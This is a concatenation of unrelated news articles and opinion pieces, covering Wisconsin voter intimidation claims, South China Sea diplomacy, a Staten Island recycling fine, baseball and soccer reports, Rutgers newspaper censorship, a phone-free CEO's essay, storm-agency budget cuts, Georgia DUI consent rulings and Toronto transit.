battles. Each of the classes has its own style, spells and weapons. You can read his full preview here.
Tripwire Entertainment Rising Storm 2: Vietnam was announced last year, and here's hoping Tripwire Entertainment will have something new and exciting to show at E3. A playable demo of the game traveled to PAX East, but the most recent trailer (shown below) still says the game is in alpha. The graphics and the animations are looking a little dated, so hopefully it gets some love before it goes live.0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
A militia group in Wisconsin is planning to target African-American Democrats at polling places in order to suppress the vote and keep Republican governor Scott Walker in office.
Here is a Twitter exchange where the group details their plan:
A visit to the group’s Facebook page features makes it clear exactly who they are targeting. All of the pictures on the page feature African-Americans. The group is trying to get African-Americans who may have outstanding warrants arrested in order to keep them from voting. The group wants people to report those they suspect of having warrants out on them to the police on election day, “Do the community a favor and keep an eye out for people wanted on warrants and report them to the police on election day.”
The “poll watchers” also plan on harassing and following people who they suspect of being wanted on warrants to their homes. The plan seems to be to use the police to intimidate African-Americans into not voting in November’s election.
The group admits that they are targeting Democrats. They aren’t exactly subtle in making it clear that they are targeting African-American voters. The scheme is an attempt to intimidate African-American voters while getting around the Voting Rights Act. The point of this campaign isn’t to get felons off the streets. The “poll watchers” are trying to keep African-Americans away from the polls.
The fact that they are targeting a specific group of individuals based on race and perceived political affiliation means that their operation is a violation of the Voting Rights Act. According to the Justice Department, “The administration of elections is chiefly a function of state government. However, federal authorities may become involved where there are possible violations of federal law. In cases where intimidation, coercion, or threats are made or attempts to intimidate, threaten or coerce are made to any person for voting or attempting to vote, the Department of Justice can consider whether there is federal jurisdiction to bring civil claims or criminal charges under federal law. Depending on the nature of the allegations, they may fall into the jurisdiction of different parts of the Department. If you have information about allegations of intimidation, please contact us.”
Wisconsin Republicans are desperate to keep Scott Walker in office, Currently, Gov. Walker is tied with Democrat Mary Burke in the polls. A voter intimidation effort that could prevent African-Americans from voting might be enough to get Walker reelected. The right-wing Wisconsin poll watching group is planning on engaging in illegal activity. The group is just getting started, which is why it is a perfect time to send the message that these tactics will not be tolerated.
You can contact the Justice Department here, and request that the election be monitored.
The right to vote must be protected, and those who attempt to intimidate voters need to be held accountable.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:BEIJING (Reuters) - China’s said on Wednesday it welcomed a proposal by the incoming Philippine government for bilateral talks on the disputed South China Sea.
Members of Philippine Marines is pictured at BRP Sierra Madre, a dilapidated Philippine Navy ship that has been aground since 1999 and became a Philippine military detachment on the disputed Second Thomas Shoal, part of the Spratly Islands, in the South China Sea March 29, 2014. Picture taken March 29, 2014. REUTERS/Erik De Castro
China claims almost the whole of the South China Sea while the Philippines, Brunei, Vietnam, Malaysia and Taiwan have overlapping claims. The sea is rich in oil, gas and fish, and trade worth trillions of dollars passes through it each year.
Tension between the Philippines and China has risen as an international tribunal in the Hague prepares to deliver a ruling in the next few months in a case about the South China Sea lodged by Manila in 2013.
The Philippines is seeking a clarification of U.N. maritime laws that could undermine China’s claims to 90 percent of the South China Sea. China has rejected the court’s authority.
Philippines President-elect Rodrigo Duterte has backed multilateral talks to settle rows over the South China Sea that would include the United States, Japan and Australia as well as claimant nations.
He has also called on China to respect the 200 nautical mile Exclusive Economic Zone granted to coastal states under international law.
But he also said on Tuesday his country would not rely on long-term security ally the United States, signaling greater independence from Washington in dealing with China.
Duterte pick for foreign secretary, Perfecto Yasay, sounded a conciliatory note this week, saying he would like to resume bilateral talks with China.
Chinese Foreign Ministry spokeswoman Hua Chunying said she welcomed the comments and hoped the new Philippines government could return to a track of bilateral talks, appropriately handle disputes and work hard for the healthy development of ties.
China hopes to get relations with the Philippines back on track, President Xi Jinping told Duterte this week.STATEN ISLAND, N.Y. -- Anthony McCorkle wishes he owned his own recycling business.
Paying the city Department of Sanitation $2,000 for putting a bag of plastic bottles into his brother's car would likely amount to chump change if he were running a lucrative recycling business.
But times are tough for the 42-year-old West Brighton man. Baseball season is over at CitiField, where Anthony works summers as a porter during Mets games. Same with seasonal carpentry work.
To make ends meet, Anthony delivers the Advance to some friendly subscribers along his route who set aside plastic bottles for him to pick up so he can cash in
for a little extra.
"If I hold them for a week," Anthony says of the recyclables he collects, "I can make $20, $30."
Twenty bucks won't buy you 10 bucks these days, not even the radio knobs on a car. Anthony had to borrow his brother Michael's car on Oct. 8 to deliver papers.
"I get there at 8 in the morning to start," Anthony says, detailing a paper route that stretches from Taylor Street to Trinity, among others.
"When I got to Alaska Street, people had given me permission to go in the front yard and take the plastic bottles."
Apparently Sanitation Enforcement Agent Robert Barrows thought he saw a deep-pocketed recycling tycoon stashing a bag of plastic bottles in a 1997 Hyundai when he spotted Anthony on Alaska Street at about 8:30 that Friday morning.
Barrows approached Anthony and told him to "turn off the car and give me the keys."
"It's my brother's car," Anthony replied. "I need the car to finish my paper route."
Barrows didn't want to hear it. He accused Anthony of operating his own recycling business with his car and threatened to haul him off to jail if he didn't hand over the car keys.
"What am I gonna do?" Anthony asks, shrugging his shoulders inside his Caroline Street home yesterday. "I go to jail, I definitely can't afford that bill.
Anthony wisely handed over the car keys.
Barrows handed over a citation that called for Anthony to appear in front of the city's Environmental Control Board.
"...I did observe [Anthony McCorkle] unlawfully remove recyclable glass, metal, plastic, placed out for collection... and place into a 1997 white Hyundai... without written authorization from the property owner," Barrows wrote in the ticket.
Never mind Anthony's written petition with 36 signatures of people who are more than happy to help him out by giving him their plastic bottles to cash in for a few measly dollars.
When Anthony saw the fine he'd pay if he's convicted of removing residential recyclables and placing them into a vehicle, he almost choked on his empty wallet.
A maximum $2,000.
Since the car is registered to Anthony's brother, Michael McCorkle would also have to pay $2,000, along with the $120 it will cost to get the car back from the impound.
"They took my car for something I didn't do," Michael, 37, says.
Sanitation couldn't care less. Two grand is two-grand. Four grand is twice as grand.
"It's unlawful for any person, except for DSNY, to remove or transport by motor vehicle any recyclable materials placed out at curbside, within the stoop line, or in front of the premise for collection or removal by DSNY," says DSNY spokesman Matthew Lipani.
"The Department does not issue violations to individuals who remove curbside recyclables via shopping cart or on foot," Lipani maintains.
In other words, if you're down and out and raiding front yards for plastic bottles and cans with a shopping cart, you're OK in Sanitation's book.
But when you're trying to do an honest day's work collecting bottles and cans with the property owners' permission and your brother's borrowed car, it'll cost you and your brother $2,000 each, and another $120 to get the car back because Sanitation is under the delusion that you can afford it.
That's what you get when a garbage man picks up the law.MILWAUKEE – The baseball that Anthony Alford hit 405 feet for his first major-league hit will soon be headed home.
Alford’s mother, Lawanda, lives in Hattiesburg Miss., where she has collected souvenirs from her son’s sports career for years. Last December, however, she lost everything in a house fire. In a way, that loss makes this baseball even more special.
“It’ll be the start of a new collection,” Alford said.
When Alford first made contact with the ball, he thought it had a chance to leave Miller Park. Centre field is deep in Milwaukee, though, and this way he gets to send the baseball home.
“I probably wouldn’t have gotten it back if it was a home run,” he said. “I figured with the luck I had it might have got caught, but I’m just so happy that it hit off the wall and I was able to get my first big-league hit.”
Alford made his MLB debut Friday, when the Blue Jays called him up all the way from double-A at a time they were short-handed. With Josh Donaldson and Troy Tulowitzki expected to return to the lineup this weekend, the Blue Jays will need to send two players down. Considering that Alford has played just 33 games at double-A, he looks like a likely candidate to be demoted, but even if that does happen, he’ll return to the New Hampshire Fisher Cats with a big-league hit to his name.
“He smoked it. That’s a good way to get it,” manager John Gibbons said. “Who knows how long he’s going to be here with those other guys coming back, so you want to get that one out of the way.”
Not long after Alford collected his first MLB hit, reliever Danny Barnes picked up his first win at the MLB level. He didn’t keep any souvenirs to commemorate the occasion, “just the memory.” Still, there’s no mistaking the importance of Barnes’ contribution: five outs of relief, including two fifth-inning strikeouts to help the Blue Jays escape a jam.
“It’s better than coming in in a blowout or something,” Barnes said. “But any win’s good.”
The Jeff Blair Show Jeff Blair: Jays not the only team playing'meh' May 24 2017
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Like Barnes, Alford downplayed his own accomplishment in the aftermath of the Blue Jays’ 4-3 win over the Brewers.
“Winning the game, I feel like, is way more important,” he said. “Just to experience that and get my first hit is something I’ll always remember.”
Alford had played in three games over the weekend, appearing as a starter, a pinch-hitter and a defensive replacement. He made a couple of nice catches in the outfield, but wanted to contribute to the team offensively, too.
“I wasn’t so much worried about the hit,” he said. “I was worried about coming out, helping the team and trying to help them get a win. Just do my part, whether it was backing up that day and cheering on my teammates, coming in pinch-running, pinch-hitting, starting — whatever it was, I just wanted to help the team.”
Alford did help the team, and in the process he started a new collection for his mother.
“I think she’s going to be real excited,” he said. “I can just imagine her sitting and screaming at the TV now. I’m just proud that I can make her happy in some kind of way, show her that all of the hard work and sacrifices that she made are starting to pay off.”Well, that's kind of the point.
This was supposed to be my traditional goodbye column before my term as the opinions editor came to an end last week, but it was censored by my own workplace, from the very section of which I was the editor. The new Targum editorial staff is fully aware and supportive of this now being published.
Before I became the opinions editor and made the Targum's editorial office my permanent residence, I spent my high school days and college life building bridges between different cultural and religious communities.
Before heading to Rutgers, I was awarded the Daniel Pearl Scholarship from my hometown's synagogue for my work on increasing tolerance. I founded my blog, MuslimGirl.net's first student chapter at Rutgers -- the first of many developing sister chapters across several states -- with the mission of "promoting interfaith dialogue through the spirit of sisterhood." When I planned our first interfaith event during my sophomore year, I invited Hillel's Senior Associate Director Rabbi Esther Reed to speak on behalf of Rutgers' Jewish community because I was proud to see a woman blazing a trail in her faith. I became a regular in religious, cultural and social justice organizations that I felt would cultivate a more tolerant campus environment.
Thus, when I was approached during my junior year to run for the Targum's opinions editor position in the hopes of making it as inclusive and reflective of all campus opinions as possible, I was ecstatic and I won the position.
I was the only Arab on the 145th editorial board. I wear a scarf on my head. I believe it was in part because of these things and the polarized political environment at Rutgers that I was placed under a microscope as soon as I took up my position as opinions editor. There is strong evidence to support the claim. My superiors, and especially interested outside parties, were on top of me for any hint of showing a "bias" -- and remarkably enough, this interest was only shown when it concerned the topic of Israel. I think all of my colleagues will agree that none of them had to experience the same scrutiny.
My very first day on the job was met with controversy. A seemingly preemptive campaign was launched to prove that our newspaper was "biased against Israel" before I even had a chance to do my job, which I almost lost during my very first month for putting a letter from a Hillel member through the very same editing process that we put every letter we receive. That would be the first of many threats that my job came under throughout my term, each time as a result of publishing content that was not strictly in favor of Israel. The campaign displayed all the pro-Israel letters that came to my desk, comparing their original form to their edited version after publication in the Targum. It attempted to propagandize all the edits, attributed fully to me, as serving ulterior political motives -- when, really, the letters were either cut down in order to fit on the page or some parts didn't make it through our collective fact-checking process, a professional burden shared across several desks.
I gave pro-Israel letters the very same treatment I gave any other letters that came to my desk, yet that was not good enough for my critics or superiors.
Last semester, after Rutgers Students for Justice in Palestine passed out mock eviction notices on campus to raise awareness of Palestinian home demolitions, the Targum's Board of Trustees -- on which Rabbi Reed's mother is a voting member -- was in direct communication with Hillel over how they wanted the editorial content in my section to be published. They wanted me to publish a pro-Israel letter at the time of their choosing to benefit from increased readership -- an advantage that no other on- or off-campus organization receives. I was threatened with termination if I did not oblige the overbearing influence they were exerting over my editorial decisions.
In response, almost our entire editorial staff co-signed a letter denouncing this lack of journalistic integrity in our newspaper and planned to have it published in my section, only to be censored by the Board of Trustees, who said that they didn't want us to "air our dirty laundry."
The Board of Trustees' and pro-Israel organizations' deflective accusations against me that my editorial decisions are "biased" are unfounded. To the contrary, I have gone out of my way to publish opinions I disagree with. At the beginning of this semester, I received a commentary written by a Rutgers student with anti-Semitic undertones, questioning Hillel's funding and criticizing "the Jewish nature on campus" that I, as a Muslim Arab-American, was offended by, and that clashed with the interfaith work to which I have dedicated my college years. I selected that commentary for publication anyway.
I did so firstly because I refuse to censor any opinions, even ones that I may personally disagree with, and secondly because I knew the same type of poor reasoning expressed in the commentary was also applied to the treatment of other minority communities. I hoped that publishing it would result in a positive dialogue about tolerance of all religious and cultural groups on campus.
But, instead, members of Hillel exploited the opportunity not only to attack me personally, but also to establish an even larger control over the student newspaper.
The Board of Trustees privately accommodated Hillel's public display of bullying when Hillel's Executive Director Andrew Getraer responded to the Targum's arbitrary apology, in a letter that the board had no problem publishing. In it, Hillel demanded what amounts to its control over the Targum and its staff members. You didn't read it here first -- you can see the bullying and intimidation exerted over our staff in Getraer's own words in his Jan. 29 commentary.
In the Board of Trustees' private response to Hillel, which Hillel publicized in a press release on its website, it is stated that the board will be taking the unprecedented and "unusual step of requiring the editor-in-chief to submit all letters and commentary [on Israel/Palestine] to the board for approval before they can be published." This is the unjustifiable -- and hidden -- way that the Board is responding to an anti-Semitic commentary written by a Rutgers student, which questioned the funding of Hillel and had absolutely nothing to do with the Israeli-Palestinian conflict.
The Board of Trustees is not only catering to the sole requests of Hillel, but is also exercising an overarching and seemingly limitless power over editorial content -- positioning itself for an unchecked exercise of censorship. Not only has the board been a complete enigma to the editorial staff and public and criticized for its lack of transparency, but information about its membership, capabilities and the limits of its editorial discretion are convoluted and not outlined anywhere on the Targum website.
When I approached those more knowledgeable than I about the misconduct I was witnessing, people were angry. Rutgers faculty members were outraged and willing to take action against what one professor said was a journalistic "crisis." Toby Jones, who teaches modern Middle Eastern history and directs the Center for Middle Eastern Studies at Rutgers, was outraged by both the terms of political debate and the apparent intimidation and threat to free speech against the student newspaper. In addition, he said he "was also disappointed, given the claims of intimidation and the censorship attested to by some of the Targum's editorial staff, that the newspaper's leadership of what is supposed to be an independent outlet for aspiring journalists and that should resist encroachment on these things, allowed it all to happen." Legal teams said that going public about what I was experiencing would be a powerful move. Advocacy groups said that they would fully support me in moving forward.
All of these things were aligned in my favor -- the favor of integrity, of honesty, of transparency. My finger was on the trigger.
And I flinched.
I didn't pull it. I stayed silent. I let the moment pass. Because, as ashamed as I am to admit it, I was scared.
Political organizations on campus with immeasurable power are terrifying. Unlike comfortably tenured professors, we students are vulnerable. We're left totally and completely exposed in a media arena where we are unarmed while Goliaths have entire nationally-funded arsenals at their hands. When my job was threatened because I did not want to change the publication schedule according to Hillel's demand, in my head, there was no way I could fight against our well-connected Board of Trustees and other university bullies without getting obliterated.
I guess my experience echoes that of countless students across the country. Liz Jackson, an attorney who advises students on defending their speech rights, explained, "Unfortunately, Amani's story of intimidation, false accusations of bias, and censorship is common. Palestine Solidarity Legal Support formed in response to students like her from every corner of the country reporting that they could not speak honestly about Palestine on campus without facing legal and personal attacks. Legal bullying, intimidation and official censorship are escalating on campuses as critical discussion of Israeli policy becomes more common. The chilling effect can be devastating. Some students stand up to the pressure and some decide they'd rather stay quiet."
I will always have to live with the decision not to publicize the discriminatory treatment I received and the infringement on free speech that I witnessed. But, instead of being angry with myself for it, I am instead angry at the unjust framework that forced me into that position in the first place.
In an interview I did with NJTV about former men's basketball coach Mike Rice's exposed abuse and the surrounding controversy that hit our newspaper last year, I said that "especially when you take into consideration that a college campus is a microcosm of society as a whole, we should be focusing on the issues that cause these types of events to happen in the first place." The issue of stifling free speech on college |
, I had enough when the charging outlet got blocked by sand after a trip to the beach. “I’m done with this,” I thought, and just left it.
I remember the exact moment when I realized something important had happened. I was on my bike, cycling to Stanford, and it struck me that a week had gone by without my having a phone. And everything was just fine. Better than fine, actually. I felt more relaxed, carefree, happier. Of course a lot of that had to do with moving to California. But this was different. I felt this incredibly strong sense of just thinking about things during the day. Being able to organize those thoughts in my mind. Noticing things.
I remember thinking: “of course I’ll have to get a phone eventually, but let’s just keep this going for a bit. See how it feels.” That was in September 2012. I have been phone-free since then.
Here are the most common questions people ask when they find out. “How do people get hold of you?” Er, they email me. I haven’t become a hermit. I still have a laptop, and use it most days. It even works when I’m away from my house, or office. On planes! In Starbucks! I’ve done full days of back-to-back meetings in New York, Washington DC, and other places I need to travel on business – with all the last-minute changes and “running a few minutes late” alerts that entails – without a phone and without any problems.
“What if something happened to your children?” This one always strikes me as being the most ridiculous. My children are eight and four. They are with a responsible adult at all times. I love them more than I could ever say and love spending time with them but really, why do I need to keep tabs on them every minute of the day? If something happens, there’s always someone there to take care of them. When people ask me this question, I feel like giving them a slap and yelling “what’s the matter with you?” but usually reply: “What do you imagine your parents did? And parents for all of human history before the last 20 years?”
Then there’s my startup: “How can you be a tech CEO and not have a phone?” I do always borrow phones to see how our new products and features work on mobile. And, well, there was one meeting I was late for and couldn’t let the person know. I won’t pretend that ended well – but it was one meeting. In three years.
Facebook Twitter Pinterest Steve Hilton used a phone when he worked for David Cameron, but not anymore. Photograph: Dafydd Jones/REX Shutterstock
There are some practical issues of course. Without a phone, I can’t check things. People with phones seem to spend their life checking things: messages, email, the news, the weather, some random celebrity’s Instagram – I don’t know what it is exactly, but you all seem to be checking things the whole time. And I can’t do that, obviously. Tragically. Somehow, though, I cope.
Here’s another practical consequence of being phone-free: I can’t use Uber. Around here, that’s like saying I can’t use – I don’t know, water or something. But since my wife now works at Uber, it’s probably just as well I can’t use it. Most of the time, I get around perfectly well on my bike and public transportation, even in spite of the Bay Area’s almost comically shambolic system.
Although, having said that, I do actually end up using Uber every now and again (yes, yes, OK, Lyft as well). And here comes the first chink of vulnerability in my story. There have been occasions when I say to a friend – at the end of a night out, for example – in a slightly embarrassed voice, “could you, y’know, order me an Uber? I’ll pay you for it obviously …”
This is where my wife, if she were co-author of this piece, would chime in: “You see, he’s a hypocrite! He doesn’t have a phone but he relies on other people having a phone. And this whole ‘not having a phone thing’ isn’t some cool rejection of tech addiction. It’s the ultimate selfishness. It means the whole world has to revolve around him. If you make a plan to meet, you can’t change it because you can’t let him know. It drives me completely mad …” etc, etc.
Fair point? I don’t think so. (You can see that this argument gets quite heated in our household.) Asking to borrow someone’s phone – to order an Uber, or send a message, or call someone or whatever – could indeed be described as me being a free rider, enjoying the benefits of being phone-free but allowing others to suffer the costs. But I would say: it happens maybe four or five times a month. That’s the sum total of the times I find I really need a phone’s functionality and ask to borrow someone else’s. I’m aware of the choice that I’ve made and accept that sometimes it can inconvenience me. Except that it hardly ever does.
The more important question, however, is whether my choice inconveniences others. Here too, I find the argument less than compelling. What’s wrong with sticking to plans and making an effort to do what you say you will do? Why is it a good thing for personal arrangements to be permanently fluid? Isn’t that more disrespectful to others? In the past three years, I have literally had only one real social screw-up as a result of not having a phone. (I stood someone up at a hotel bar because I was waiting at the wrong bar). In any case, no one ever answers their phone these days anyway. Ask someone to actually call – rather than message or email someone – and they look at you as if you’re completely insane.
But just in terms of our basic humanity, I find the idea that we should all be connected and contactable all the time not just bizarre but menacing. We used to think of electronic tags as a way of restricting criminals’ liberty – we can keep them out of jail but still keep track of them. It seems that now, everyone is acquiescent, through their phone, in electronically tagging themselves; incarcerating themselves in a digital jail where there is no such thing as true freedom or independence or solitude or privacy.
This is where you may think I’m getting a little preachy, but I’m genuinely trying to avoid that. I’m just trying to explain that for me, not having a phone is, in the end, about my personal freedom. After that meeting I was late for a couple of months ago, my co-founder at Crowdpac sat me down and said, “honestly, you really need to get a phone”. We talked it over, and the conversation brought me to tears. The idea of having a phone actually made me cry. I think it was because it reminded me, in so many different ways, of a life that I have happily left behind: a life of stress and tension and anxiety, fuelled by the device in my pocket. And although I have tried to set out as honestly as I can the things that people say when they hear I have no phone, I’ve left out the most common reaction: “How fantastic that must be. God I wish I could do that.”
Well you can. Anyone can. And it seems to me that lots of people want to – hence the beyond-parody preposterousness of “mindfulness apps” and apps for “digital detoxing”. I really don’t have a point of view on whether you should stop having a phone. But if you want to try; if you want to just see if you can live without a phone, then my advice is to just do it properly, for a week. See if you can cope. If you can’t, then fine, go back to your phone. I don’t care - see, I’m not trying to convert you, honest. But if it does work for you, I’d love to know.
You can reach me on Twitter @stevehiltonx. Or call my landline.
Steve Hilton is CEO of Crowdpac. His book, More Human, will be published in the US by PublicAffairs on 26 April.
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The links are powered by Skimlinks. By clicking on an affiliate link, you accept that Skimlinks cookies will be set. More information.(MintPress)— While damages from natural disasters have been climbing to record highs in the U.S. over the last few years and experts are predicting another active tornado season for 2012, Republicans are acting to cut spending on government agencies that help predict and mitigate damages from severe storms.
Tornadoes cut across Texas Tuesday, tossing semi trailers in the air, crunching cars and razing hundreds of houses. The National Weather Service said nearly a dozen twisters touched down, leaving a trail of debris across Dallas and Fort Worth earlier this week.
Thousands were left without power and hundreds of homes were destroyed. However, despite the veracity of the storm system, only a handful of people were hurt across Texas, a couple of them seriously, but no fatalities have been reported.
However, rescuers planned to scour the area Wednesday, looking for anyone who may be trapped in the debris.
Damage estimates are still being calculated in Texas.
Record Damages, Big Cuts
So far this year in the U.S., insurers have lost $2 billion due to tornadoes, and experts point out it’s still very early in the season.
Last year record-breaking losses of $26 billion in damages were attributed to tornadoes during the 2011 tornado season.
But Republicans have been scaling back on funding to aid Americans struggling in the aftermath of disasters like those in Texas this week.
However, House Republicans are drawing criticism for having spearheaded funding cuts for studying the climate, predicting violent storms, early storm warnings, and assistance in helping communities minimize damage and loss of life.
A total of $140 billion was nixed from the National Oceanographic and Atmospheric Commission, an agency responsible for monitoring the climate and helping to minimize damage and loss of life during storms.
In addition, another $500 million was cut from last year’s GOP budget which was to be used for weather prediction satellites.
GOP members also proposed mammoth funding cuts to Federal Emergency Management Agency (FEMA), the agency charged with coordinating the response to disasters that occur in the United States and overwhelm the resources of local and state authorities. Republicans had proposed cutting more than half the previous year’s amount, effectively leaving FEMA with less than one-third of its 2010 budget.
To receive FEMA’s help – a state may declare a state of emergency and request help from the president.
This year Republicans are calling for similar budget cuts, as “economists who analyzed it have concluded that in a few years there will be virtually no funds for any government activity except a growing military budget and spending that’s mandated by law,” a report in the Huffington Post points out.
FEMA Not Seen As Valuable by Republicans
Presidential candidate Mitt Romney has said that federal disaster relief for tornado and flood victims in America was “immoral” and believes that FEMA should be privatized.
At a GOP debate held in June, Romney proclaimed that the victims of devastating storms and flooding across the US last year in states such as Mississippi, Louisiana, Tennessee, and his home state of Massachusetts should not receive governmental assistance.
And Romney isn’t alone in his anti-FEMA rhetoric. Another presidential hopeful, Ron Paul said while on the campaign trail, “I live on the Gulf Coast. We put up with hurricanes all the time. There’s no magic about FEMA. More and more people are starting to recognize that.”
Paul has been critical of the agency for some time, calling it a “great contributor to deficit financing, ” according to CNN. He wants to do away with the entity completely, telling the news service last May, “Why should somebody from the central part of the United States rebuild my house? Why shouldn’t I have to buy my own insurance and protect about the potential dangers.”
Democrats and Republicans have been at odds over monetary allocations to the agency increasingly in recent times. Back in September the political parties sparred in Washington, ultimately signing off to spend $7 billion on a bill that granted funds for emergency disaster relief over the year. Republicans believed the bill’s emergency spending was too costly.
The Washington Post quoted Sen. Patrick J. Leahy (D-Vt.) as saying, “We can spend hundreds and hundreds and hundreds of billions of dollars to rebuild Iraq and Afghanistan. Let’s spend a small amount of money to rebuild America for Americans.”
More Storms Predicted in 2012
Experts warn that that this spring Americans could continue to see active weather systems and even more severe weather, stemming from a warmer than normal spring.
Joe Lundberg, senior meteorologist at AccuWeather.com in State College, Pa. says, “This year conditions are more conducive than normal for extreme weather. We are getting off to an early and nasty start,” the Christian Science Monitor reported.
The National Oceanic and Atmospheric Administration, said that in February 57 tornadoes were reported across the US, nearly twice the 1991-2010 average of 29. The extreme weather also spilled over into March, as in southern Indiana, 13 people died after an F4 tornado roared through the state.
Last year in the nation nearly 1,700 tornadoes were recorded, a marked uptick form a normal year, in which there are generall an average of 1,300 tornadoes on the books.
There were 550 tornado deaths in the US during 2011. The May tornado that wiped out Joplin, Missouri killed 161. Another storm system took 316 lives on April 27 in five southern states.
And FEMA acknowledges that at this rate, given its current funding, it will likely be unable to meet the need of potential future victims.
“We cannot afford to continue to respond to disasters and deal with the consequences under the current model,” said Mr. Fugate in a speech at the National Press Club in Washington.
FEMA recently has turned down Illinois’ second request for federal aid after a tornado ripped through Harrisburg, Ill. back in February, killing seven people. Over 50 people have already been killed by storms this year in the US.
And, the peak months for tornadoes are usually April, May and June, so this season is just getting started.
Experts who study the climate are at odds about the long term effects of rising temperatures and its impact on weather patterns however. Some say we can expect more extreme weather if global temperatures continue to rise, while others believe there’s too little data to predict a single season.A Georgia Supreme Court ruling earlier this year has created a legal trick by which drunk drivers are getting key evidence against them thrown out, by arguing they were too drunk.
Drivers are convincing judges that they were not thinking clearly when they agreed to take the voluntary breath, blood, or urine tests, due to intoxication.
And a Channel 2 Action News investigation found the drivers can still go to court and plead not guilty later, after the prosecutors’ best evidence has been suppressed.
“It certainly is a ruling that’s going to impact every DUI case,” said defense attorney Mike Hawkins, who doesn’t see it as a trick, but a sound constitutional argument.
“Think about consent in any context, it has to be knowing and intelligently given,” said Hawkins, which he argues a driver cannot do when they’re intoxicated.
Attorney Lance Tyler was the first to win this argument for his client John Williams, who was pulled over for a supected DUI in 2012. The case went all the way to Georgia’s Supreme Court, which ruled in March that Williams may not have “actually” consented to giving his blood, and that Gwinnett State Court Judge Joseph Iannazzone should reconsider his earlier decision not to suppress the results of his blood test.
“The defendant wasn’t actually capable of an informed waiver of his constitutional rights,” Tyler argued to Iannazzone in September. A week later, Iannazzone kicked out Williams’ blood test, along with the blood alcohol concentration results (BAC) for five other drivers whose cases he’d heard.
“If a DUI defense lawyer is not raising the ‘Williams issue’ I frankly think it’s malpractice,” said Hawkins.
If it sounds ridiculous for a defense attorney to argue that their client was so intoxicated they were unable to make a sound legal decision about consenting to a DUI test, it’s equally strange to hear a prosecutor argue that the driver wasn’t that drunk.
“You would think that that’s absurd, right?” said Gwinnett County Solicitor Rosanna Szabo, who’s office has been the most impacted, mainly due to Iannazzone’s interpretation of the Williams ruling.
Other counties impacted
But Channel 2 found successful Wiliams arguments filed in Fulton, DeKalb and Cherokee counties as well.
Georgia officers and prosecutors have traditionally relied on what’s called “implied” consent, expressly given when you get your driver’s license.
The Williams case called the language officers read along the roadside into question.
“Think of those first words: ‘Georgia law requires you to submit,’ said Hawkins, “If I’m told by a police officer that I’m required to do something, you can bet that in all likelihood I’m going to feel pressure to submit to the test.”
“I’m not the legal age to drink and drive but I haven’t had too much to drive,” 20-year-old Philip Bowman can be heard telling a Gwinnett Police officer during his 2014 traffic stop.
Court records say the officer did not conduct field sobriety tests because Bowman was too “unsteady” and he vomited in the patrol car on the way to the jail.
“I need a yes or a no to this,” the officer told Bowman when asking for a breath test.
“A yes or a no to what?” he replied.
“Will you submit to a state chemical test of your breath under the implied consent law?”
“I mean (expletive)-it man, why not?” was Bowman’s reply.
When the officer later asked for consent for a blood test, Bowman replied, “Whatever you’ve got to do.”
Bowman’s blood alcohol concentration registered.225 but Judge Iannazzone threw out the evidence, noting Bowman also had “a pretty good accident” which could have ”rattled” him.
Iannazzone’s order says, “This court finds that the State was only able to show that Defendant’s responses indicated acquiescence to the officer’s request… but was unable to show actual consent.”
Solicitors frustrated
Judges also take into account whether a driver understands that the test is voluntary.
A DeKalb judge threw out Abraham Kersse’s breath test because his English was poor, and he couldn’t clearly understand the officer’s instructions. He pleaded guilty anyway.
Defense attorneys liken the legal standard to a person’s ability to void a contract they signed while intoxicated. Judges also refuse to accept a guilty plea from a defendant if they’re under the influence at the time.
Szabo says she will not dismiss any cases just because her best evidence got suppressed.
In fact, she’s already decided to appeal 6 of Iannazzone’s rulings, which could leave the cases pending for some time.
She could still use the officer’s testimony, field sobriety test results and dashboard video if the patrol car was equipped with a camera.
“It is difficult, because when you go in front of a jury and the juries these days watch CSI, they expect scientific tests,” she said.
Court rules prohibit her from telling the jury what happened to the test, or even that there was a test, even if the driver eventually goes to trial and pleads not guilty.
“Oh it is frustrating,” said Szabo, “I think anybody who values the truth is frustrated to not be able to reveal the truth.”Jota has now scored six goals and registered three assists in eight league games for Brentford this season
Jota scored a hat-trick as Brentford beat Championship strugglers Rotherham.
The Spaniard scored from the penalty spot and on the counter-attack in injury time to wrap up the points and net his first hat-trick for the club.
Earlier, he gave Brentford the lead from a tight angle before Rotherham levelled through Aimen Belaid's header.
Nico Yennaris turned in Ryan Woods' cross and Anthony Forde's long-shot made it 2-2, but Semi Ajayi's handball allowed Jota to claim the victory.
Jota was recalled early from a loan spell at Spanish side Eibar in January and has been in fine form since his return.
The 25-year-old's contribution was telling against bottom side Rotherham, who were denied just a second point on the road this season.
Playing as a forward because of an injury to Lasse Vibe, he found the bottom corner after good work from Florian Jozefzoon to set the Bees on their way.
Despite their perilous position, the Millers fought back admirably and Daniel Bentley was forced to save one-on-one from Danny Ward, while Ajayi and Jon Taylor also had chances.
After Belaid and Yennaris traded goals, substitute Forde looked to have made a telling contribution with his 25-yard strike - but it was Jota who had the final say in added time.
He placed his penalty down the middle to make it 3-2 before rounding off a move on the break to take his side up to 13th and condemn Rotherham to a seventh defeat in their last eight league games.
Brentford manager Dean Smith:
"Jota has saved it for us late on. He is a terrific player and I have not worked with a player with such good balance.
"When we move the ball quickly we look at our most effective and always look like scoring, but I wish we didn't have these five-minute spells where they have chances.
"We were in total control in the first half but after the break they got a little lift and we got a bit sloppy and gave too many cheap free-kicks away, which I was disappointed with because we'd spoken about their threat from set-pieces."
Rotherham interim manager Paul Warne told BBC Radio Sheffield:
"The result wasn't fair on us. I don't think it flattered us when it was 2-2. I thought we played really well and I told the lads they had to take pride in their performance.
"I'm not going to say we are down until we are down but we are all realists. I think we have a responsibility to our fans, our sponsors, our chairman and our families to perform every week.
"I think if you came here today and said my lads had given up then you'd been drinking heavily before you came in."All these controversies over public transit is a good thing in that it gives me plenty of opportunities to write about some not so dissimilar transportation debates from Toronto’s past.
Today’s controversies involve things such as where we are going to build the next subway line or should we build instead of a full fledged heavy rail subway should we be looking at a light rail line instead? Or why are construction costs always so far over budget and how do projected timetables become so off the mark? And why wasn’t the UP Express between Union Station and Pearson built as an electric line and will Metrolinx continue the Scarborough stretch of the Eglinton light rail line at grade or in a tunnel (calling Mr. Tunnel, Elton McDonald). Or just who is doing what and where and to who (or is it to whom)…the questions go on and on.
These debates seem interminable in spite of the fact that the hundreds of thousands of haggard transit users, who continually fork over millions and millions in tax dollars and ever-increasing fares haven’t had a new stretch of subway to ride for more than a dozen years (the 5.5-km. Line 3 Sheppard opened Nov. 22, 2002) and even then many say the Sheppard was built in the wrong place.
